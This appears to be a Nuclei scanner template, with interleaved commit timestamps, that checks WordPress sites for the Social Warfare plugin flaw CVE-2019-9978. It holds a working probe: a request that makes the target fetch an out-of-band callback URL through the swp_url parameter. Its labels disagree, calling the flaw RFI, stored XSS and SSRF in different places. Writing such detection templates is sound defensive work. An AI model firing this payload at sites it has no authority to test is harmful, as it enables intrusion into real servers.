2021-01-02 04:59:06 +00:00
id : CVE-2019-9978
2020-08-12 15:05:52 +00:00
info :
name : WordPress social-warfare RFI
2021-06-09 12:20:56 +00:00
author : madrobot,dwisiswant0
2021-09-10 11:26:40 +00:00
severity : medium
2021-03-30 12:00:27 +00:00
description : The social-warfare plugin before 3.5.3 for WordPress has stored XSS via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, as exploited in the wild in March 2019. This affects Social Warfare and Social Warfare Pro.
2021-02-05 19:44:41 +00:00
reference : https://github.com/mpgn/CVE-2019-9978
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2019-9978
cwe-id : CWE-79
2022-03-22 05:54:50 +00:00
tags : cve,cve2019,wordpress,wp-plugin,ssrf
2020-08-12 15:12:50 +00:00
2020-08-12 15:05:52 +00:00
requests :
- method : GET
path :
2022-03-22 06:02:49 +00:00
- "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://{{interactsh-url}}"
2022-03-22 05:54:50 +00:00
2020-08-12 15:05:52 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2022-03-22 05:54:50 +00:00
2020-08-12 15:05:52 +00:00
- type : word
2022-03-22 05:54:50 +00:00
part : interactsh_protocol
2020-08-12 15:05:52 +00:00
words :
2022-03-22 05:54:50 +00:00
- "http"
